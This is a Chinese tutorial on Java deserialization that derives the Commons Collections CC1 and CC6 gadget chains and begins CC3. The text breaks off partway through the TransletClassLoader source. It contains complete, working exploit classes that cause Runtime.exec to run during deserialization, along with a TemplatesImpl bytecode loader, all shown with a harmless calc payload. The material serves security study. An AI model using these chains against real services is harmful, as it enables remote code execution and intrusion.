CC1

0x00环境准备

  • jdk1.8.0_8u65(在8u71之后这个漏洞被修复)
  • Maven
  • openJDK8u65
  • CommonsCollections3.2.1

0x01初步分析

入口类是org.apache.commons.collections下的Transformer接口,按住Ctrl+Alt+B查看实现这个接口的类,其中我们需要找到的类是InvokerTransformer

image-20240801103759605

InvokerTransformer这个类最后的transform方法中,我们找到了可能引起命令执行的点:这里首先通过反射获取输入对象的类,然后可以再获取并调用这个类任意的方法,而这些参数都是可控的,可以通过这段代码来进行命令执行

我们先来回顾一下通过反射进行命令执行的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.lang.reflect.Method;

public class RuntimeTest {
public static void main(String[] args) throws Exception {
Runtime runtime=Runtime.getRuntime();
Class c=runtime.getClass();
Method method=c.getDeclaredMethod("exec",String.class);
method.setAccessible(true);
method.invoke(runtime,"calc");
}
}

接下来利用InvokerTransformer去命令执行的步骤就很清晰了,看一下它的构造函数

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;//需要执行的方法
iParamTypes = paramTypes;//方法的参数的类型
iArgs = args;//方法的参数
}

我们要调用的方法是exec,参数是calc,这个参数的类型自然是String类型的。这里先定义一个Runtime类型的对象runtime,然后根据InvokerTransformer的构造函数进行传参,最后调用它的transform方法,把runtime这个对象传进去。

1
2
3
4
5
6
7
8
9
10
11
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerTest {
public static void main(String[] args){
Runtime runtime=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
image-20240801114439892

现在我们知道了transform方法可以进行命令执行,接下来就要去找什么地方调用了transform方法

0x02寻找完整的利用链

哪里调用了transform方法?

前面我们只分析了利用链(Gadget Chain)中的最后一步:如何通过InvokerTransformer来执行命令。现在我们需要找到什么地方调用了transform()方法,右键transform然后find usages,发现TransformedMap中的checkSetValue中调用了这个方法

咦,这个valueTransformer是什么呢?我们在TransformedMap的构造函数中发现了它

怎么获取TransformedMap对象?

但是这个构造函数是protected的,也就是说我们在别的包里并不能直接new这个对象,所以得找到一个public方法来建立一个TransformedMap对象。然后我们找到了一个静态的decorate方法,直接返回TransformedMap

到这一步我们可以尝试编写链子的一部分,先把整体的思路理清一下:因为最后是在checkSetValuevalueTransformer来调用transform方法的,所以我们得通过TransformedMap的构造函数来把InvokerTransformer类生成的对象赋值给valueTransformer,但是由于TransformedMap的构造函数是protected的,在包外不能直接new一个对象,就要通过TransformedMap的一个静态方法decorate来生成一个TransformedMap对象,然后就可以通过反射进行命令执行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class TransformedMapTest {
public static void main(String[] args) throws Exception {
Runtime runtime=Runtime.getRuntime();//获取一个Runtime对象,用来执行命令
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//获取一个InvokerTransformer对象
HashMap hashMap=new HashMap();//这里没有什么实际作用,仅为了传参
Map decorateMap= TransformedMap.decorate(hashMap,null,invokerTransformer);//获取一个TransformedMap对象
Class<TransformedMap> transformedMapClass=TransformedMap.class;//获取类的Class对象
Method method=transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);//获取checkSetValue方法
method.setAccessible(true);//强制访问这个方法
method.invoke(decorateMap,runtime);//执行checkSetValue方法,相当于`invokerTransformer.transform(runtime)`
}
}

哪里调用了checkSetValue方法?

和前面一样,为了链子的完整性,我们需要找到什么地方调用了checkSetValue,继续右键find usages

AbstractInputCheckedMapDecorator类中找到了checkSetValue被调用的地方,在它的一个内部类MapEntry中的setValue方法,点击左边那个小蓝圈,向上追踪到AbstractMapEntryDecorator类中的setValue

继续向上追踪,就到了Map.Entry接口的setValue方法,Map.Entry代表映射中的一个键值对,当我们要更新这个键值对的值的时候,就需要调用setValue方法

可以写一个demo测试一下,关键部分在于最后的循环,我们可以在AbstractInputCheckedMapDecorator类中的setValue方法上打一个断点,也确实会跳转到这个方法上面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class MapTest {
public static void main(String[] args){
Runtime runtime=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("key","value");//放一组键值对用来测试
Map<Object,Object> map= TransformedMap.decorate(hashMap,null,invokerTransformer);
for(Map.Entry entry:map.entrySet()){//遍历hashMap中的键值对
entry.setValue(runtime);
}
}
}

怎么样遍历Map

根据前面的demo,我们需要找到有setValue()的类,再回忆一下java反序列攻击的入口方法——readObject()。我们继续右键setValue(),find usages。

我们找到了一个绝佳的类AnnotationInvocationHandler,继承了InvocationHandler(我们在动态代理中使用过它)和Serializable,里面重写了readObject(),还在里面遍历Map,调用setValue()方法。这也是链子的最后一部分

但是这个类的作用域是default的,需要通过反射方法getDeclaredConstructor()来获取到它的构造函数并实例化它,来看一下AnnotationInvocationHandler的构造函数

需要两个参数:type期望一个注解类型Class<? extends Annotation>,memberValues期望一个映射。

0x03手写exp

开始写exp之前我们先把要解决的问题列出来:

解决Runtime类不能被序列化

  • Runtime类不可以被序列化,但是Runtime.class是可以序列化的,我们把前面反射执行命令的代码改一下,通过前面提到的InvokerTransformer来调用Runtime.getRuntime()exec方法,而且InvokerTransformer是可以序列化的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class RuntimeTest {
public static void main(String[] args) throws Exception {
Class c=Runtime.class;
Method getRuntimeMethod=(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
//等价于Method getRuntimeMethod=c.getMethod("getRuntime");
Runtime runtime=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//等价于Runtime runtime=(Runtime)getRuntimeMethod.invoke(c,null);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
//等价于runtime.exec("calc");
}
}

这三段代码的形式都是相同的new InvokerTransformer(...).transform(...)形式,为了提高代码的复用性,这里引入一个新的类ChianedTransformer,可以循环递归调用transform方法

ChainedTransformer类的构造函数,需要传入一个Transformer数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerTest {
public static void main(String[] args) {
Transformer transformers[] = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}

这样是可以成功弹出计算器的,然后再结合一下前面的decorate方法,就可以把链子写出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class GadgetChain {
public static void main(String[] args) throws Exception {
Transformer transformers[] = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> transforedMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Override.class,transforedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

怎么进入到setValue()

然而运行代码后却没有弹计算器,这是怎么会事呢?我们在AnnotationInvocationHandler下的readObject()方法上打下断点,然后开始调试

因为memberType为null,所以代码在第一个判断就直接跳出去了,原因是Override没有任何的成员类型,因此尝试获得memberTypes时只会拿到一个空的Map,改用Target注解,里面声明了一个value()方法

如果我们现在就运行修改后的代码会发现memberType仍然为null,我们得看懂循环里的前两行代码在做什么

1
2
String name = memberValue.getKey();//获取一个键值对的key,赋值给name
Class<?> memberType = memberTypes.get(name);//从memberType里获取key为name的那组键值对

Target里有一个名为value()的成员函数,所以我们也得把传入的map的key改为valuehashMap.put("value","notlus");

成功通过两个判断,进入到setValue()中,但是还不能弹出计算器,因为这里setValue()里的值不可控,而是一个AnnotationTypeMismatchExceptionProxy对象

怎么控制setValue()里的参数?

为了解决这个问题,我们需要用到ConstantTransformer

看它的构造函数和transform方法,无论传入什么参数,transform()都返回iConstant,所以我们只需要在初始化的时候传入Runtime.class,在遍历transforms[]数组的时候,在checkSetValue()的时候调用transform()

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class GadgetChain {
public static void main(String[] args) throws Exception {
Transformer transformers[] = new Transformer[]{
new ConstantTransformer(Runtime.class),//控制AnnotationInvocationHandler.setValue()里的值
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("value","notlus");//用于Map.entrySet()中遍历
Map<Object,Object> transforedMap= TransformedMap.decorate(hashMap,null,chainedTransformer);//返回一个TansformedMap对象
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transforedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

成功执行命令

0x04总结

整条链子分析下来还是挺麻烦的,来总结一下GadgetChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetvalue()//由`TransformedMap.decorate()获取`
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

0x05对比ysoserial里的写法

对比ysoseserialGadgetChain,里面用到了LazyMap.get()方法和AnnotationInvaocationHandler.invoke()这两个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

TransformedMap的利用方法类似,目标是通过get()调用transform,但是因为LazyMap的构造函数是protected的,我们无法直接new一个对象,所以得通过public方法来获取这个对象,进而调用transform()。但是AnnotationInvocationHandler.readObject()里面并没有直接调用get(),不过在invoke()方法里调用了get()方法,而这个invoke()方法实现了InvocationHandler接口里的invoke()

那怎么触发get方法呢?看这两个if判断,我们需要一个无参方法。非常巧,map.entrySet()正好是无参方法。

在这打个断点,invoke()entrySet传进来了,这里的map就是我们传入的hashMap,里面当然不包含叫entrySet的key了,然后就来到transform这一步

AnnotationInvocationHandler实际还上使用了动态代理,我们知道,在执行动态代理对象的任意方法时,实际上执行的是InvocationHandlerinvoke()方法,只要在readObject()中调用了代理对象的任意方法,就会自动执行invoke方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyMapTest {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazymap=LazyMap.decorate(hashMap,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Override.class,lazymap);//生成动态代理
Map proxymap=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);//生成动态代理对象,代理lazymap
Object o=constructor.newInstance(Override.class,proxymap);//用于序列化的对象,反序列化依次执行的顺序是AnnotationInvocationHandler.readObject()->Map(Proxy).entrySet()->AnnotationInvocationHandler.invoke()->LazyMap.get()
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o=ois.readObject();
return o;
}
}

在上面的代码中,我们生成的代理对象是proxymap,当反序列化的时候,在AnnotationInvocationHandler.readObject()中调用了entrySet()方法,也就会触发代理对象proxymapinvoke()方法,后面的基本就和TransformedMap版本的利用链差不多了

CC6

0x00环境准备

  • jdk1.8.0_8u71(CC6实际上不受jdk版本限制)
  • Maven
  • CommonsCollections3.2.1

0x01利用链分析

利用LazyMap执行命令

先来看一下ysoserial里给出的GadgetChain

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

可以说,CC6实际上就是URLDNS的前半段加上CC1的后半段。我们在看谁调用了get()方法之前先写一个利用LazyMap来执行命令的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class LazyMapTest {
public static void main(String[] args) throws Exception {
Runtime runtime=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap hashMap=new HashMap();
Map lazymap= LazyMap.decorate(hashMap,invokerTransformer);//获取一个LazyMap对象
Class<LazyMap> lazymapclass=LazyMap.class;
Method method=lazymapclass.getDeclaredMethod("get",Object.class);
method.setAccessible(true);
method.invoke(lazymap,runtime);//lazymap.get(runtime)
}
}

哪里调用了getValue方法?

然后find usages,在TiedMapEntry里找到getValue()

这是一个public方法,我们可以直接调用,把上面的demo改一下,也是可以弹出计算器的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class LazyMapTest {
public static void main(String[] args) throws Exception {
Runtime runtime=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap hashMap=new HashMap();
Map lazymap= LazyMap.decorate(hashMap,invokerTransformer);
// Class<LazyMap> lazymapclass=LazyMap.class;
// Method method=lazymapclass.getDeclaredMethod("get",Object.class);
// method.setAccessible(true);
// method.invoke(lazymap,runtime);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,runtime);//根据构造函数传参
tiedMapEntry.getValue();//在方法内部调用了lazymap.get(runtime)
}
}

我们在TiedMapEntry下找到了调用了getValue()方法的hashCode()方法

是不是很熟悉,在URLDNS链中也使用过同名函数hashCode()方法。后面的链子也就显而易见了,和URLDNS链是基本一致的,接下来的链子肯定就是从HashMap类里去找。在HashMap类下的hash()方法调用了hashCode()

然后在HashMap类中的put方法找到了hash方法的调用

尝试编写一个demo,由put()方法进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class putTest {
public static void main(String[] args){
Runtime runtime=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap hashMap=new HashMap();
Map lazyMap=LazyMap.decorate(hashMap,invokerTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,runtime);
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key");//HashMap.put()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()->...
}
}

这里有一个坑,如果我们在代码17行处打断点调试,还没到步入到put()方法就会弹计算器。这个是IDEA的问题,直接跳到第三节

0x02手写exp

结合前面几个demo,我们就可以稍作修改写出CC6链的exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC6exp {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o=ois.readObject();
return o;
}
}

解决问题

我们的目的是在反序列化的时候执行命令,但是显然在expMap.put(tiedMapEntry,"key2")这一步,也就是反序列化之前就已经执行命令了,这一点和URLDNS链是类似的,为了在put()这一步的时候不执行命令,我们就需要在decorate()的时候传入一个无用的值,例如:

1
Map lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer(1));

然后在执行expMap.put(tiedMapEntry,"key2");后,在把里面的值改回chainedTransformer,因为这个成员变量是protected的,我们得通过反射来改它的值

1
2
3
4
Class<LazyMap> lazyMapClass=LazyMap.class;//获取Class对象
Field factoryField=lazyMapClass.getDeclaredField("factory");//获取protected变量factory
factoryField.setAccessible(true);//强制访问
factoryField.set(lazyMap,chainedTransformer);/改为chainedTransformer

但是修改后的exp仍然无法弹出计算器,让我们来调试看看原因。在反序列化处打下断点

一路跟踪到LazyMap.get(),发现我们传入LazyMaphashMap是包含键key1的,原因是前面执行expMap.put(tiedMapEntry,"key2")方法的时候,当程序进入到159行的map.put(key,value),会把键为key1的键值对放入hashMap,所以当我们进行反序列化的时候也就自然不能通过判断来到transform()方法了

解决办法就是在执行完put之后hashMap.remove("key1")

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6exp {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();//仅仅用来传参
//Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);//返回一个LazyMap对象
Map lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");//HashMap.put()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()->...
hashMap.remove("key1");
Class<LazyMap> lazyMapClass=LazyMap.class;
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o=ois.readObject();
return o;
}
}

0x03解决IDEA调试时弹出计算器的问题

注意到TiedMapEntry.toString()也会调用getValue()方法

而 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。

把最下面两行关掉

0x04总结

整条链分析下来与ysoserial的链子有些出入,这条链子似乎最早出自p神的java安全漫谈,

1
2
3
4
5
6
7
8
9
10
GadgetChain:
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

相较于ysoserial里的链子,这条链子更加简单,没有用到HashSet这个类,因为HashMap里的readObject方法中调用了hash()方法,其实就是URLDNS里的那一条。

至于ysoserial里的写法后面应该会补上,先放一个参考链接Ysoserial Commons-Collections 利用链分析 (seebug.org)

0x05对比ysoserial的写法(待填坑)

CC3

前言

CC1和CC6最终通过Runtime类来执行命令,而CC3和CC1以及CC6不太相同,它使用的是动态类加载的方式来执行代码

0x00环境准备

  • jdk1.8.0_8u65(8u71后被修复)
  • Maven
  • CommonsCollections3.2.1

0x01初步分析

java动态类加载机制

先回顾一下java加载.class文件都要经过一下三步:

  • ClassLoader.loadClass():从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • ClassLoader.findClass():根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • ClassLoader.defineClass():处理前面传入的字节码,将其处理成真正的Java类

可见,最重要的一步就是defineClass(),因为他将字节码加载成了类对象

但是,defineClass()是不会对类对象进行初始化的,所以我们还需要通过反射,使用newInstance()来对类对象进行初始化。那么我们就得找到一个类,里面既有defineClass()方法,又对defineClass返回的类对象调用newInstance(),这个类就是TemplatesImpl的内部类TransletClassLoader

TemplatesImpl

有关这个类的利用细节已经在ClassLoader里的使用**TemplatesImpl动态加载字节码**详细介绍过了,这里先给出利用链和代码

1
TemplatesImpl.getOutputProperties()->TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TransletClassLoade.defineClass()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//待加载的类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;


public class Calc extends AbstractTranslet{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
public Calc(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//测试类
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplatesImplTest {
public static void main(String[] args) throws Exception {
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
//String basse64Encoded= Base64.getEncoder().encodeToString(bytes);
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
//templates.getOutputProperties();// 可以继续往下写
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);//要修改的三个方法都是protected方法,需要用到反射
field.set(obj,value);
}
}

com.sun.org.apache.xalan.internal.xsltc.TemplatesImpl这个类中定义了一个内部类TransletClassLoader,里面重写了defineClass这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
